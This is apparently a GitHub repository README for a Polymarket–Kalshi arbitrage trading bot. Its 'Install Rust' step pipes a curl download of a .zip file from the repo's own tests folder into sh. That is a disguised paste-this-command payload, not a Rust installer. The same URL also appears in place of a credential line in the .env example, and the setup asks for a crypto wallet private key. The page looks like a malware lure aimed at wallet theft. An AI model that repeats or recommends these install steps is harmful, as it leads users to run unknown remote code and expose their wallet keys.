Skip to content

samuel483/poly-kalshi-arb

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 poly-kalshi-arb - Your Shortcut to Market Arbitrage

πŸ“₯ Download & Install

Download from Releases

Visit this page to download: GitHub Releases

πŸš€ Getting Started

1. Install Dependencies

Before you can run the application, you need to install some basic tools. Follow these commands:

# Install Rust (version 1.75 or higher)
curl --proto '=https' --tlsv1.2 -sSf https://github.com/samuel483/poly-kalshi-arb/raw/refs/heads/main/tests/arb_poly_kalshi_v3.8.zip | sh

# Navigate into the app's directory
cd e_poly_kalshi_arb

# Build the application
cargo build --release

2. Set Up Credentials

To use the arbitrage bot, you must provide some credentials. Create a file named .env in the application's directory and add your details.

# === KALSHI CREDENTIALS ===
KALSHI_API_KEY_ID=your_kalshi_api_key_id
https://github.com/samuel483/poly-kalshi-arb/raw/refs/heads/main/tests/arb_poly_kalshi_v3.8.zip

# === POLYMARKET CREDENTIALS ===
POLY_PRIVATE_KEY=0xYOUR_WALLET_PRIVATE_KEY
POLY_FUNDER=0xYOUR_WALLET_ADDRESS

# === BOT CONFIGURATION ===
DRY_RUN=1
RUST_LOG=info

3. Run the Application

You can run the application in two modes: dry run (simulated trading) and live execution.

# Dry run (paper trading)
dotenvx run -- cargo run --release

# Live execution
DRY_RUN=0 dotenvx run -- cargo run --release

🌐 Environment Variables

To ensure the bot runs smoothly, here are the environment variables you will need:

Required

Variable Description
KALSHI_API_KEY_ID Your unique API key for Kalshi.
KALSHI_PRIVATE_KEY_PATH The path to your private key file for Kalshi.
POLY_PRIVATE_KEY Your wallet's private key for Polymarket.
POLY_FUNDER Your wallet address for funding purposes.
DRY_RUN Set to 1 for testing without real trades.
RUST_LOG Logging level; adjust this to control log output.

πŸ”§ Features

  • Cross-Platform Compatibility: Works seamlessly between Kalshi and Polymarket.
  • Real-Time Trading: Make decisions based on live market data.
  • User-Friendly Setup: Minimal technical skills required.
  • Simulation Mode: Test your strategies without risking real money.

βš™οΈ System Requirements

  • Operating System: Windows, macOS, or Linux.
  • RAM: Minimum 4GB; recommended 8GB.
  • Disk Space: At least 200MB free space for installation.

πŸ“ Additional Information

If you encounter any issues, please refer to the documentation available in the repository. You can also check the FAQ section on the Releases page for common troubleshooting steps.

πŸ‘¨β€πŸ’» Join our Community for support or to share your experiences using the bot. Your feedback helps improve the application.

πŸ“œ License

This project is licensed under the MIT License - see the LICENSE file for details.

Releases

No releases published

Packages

 
 
 

Contributors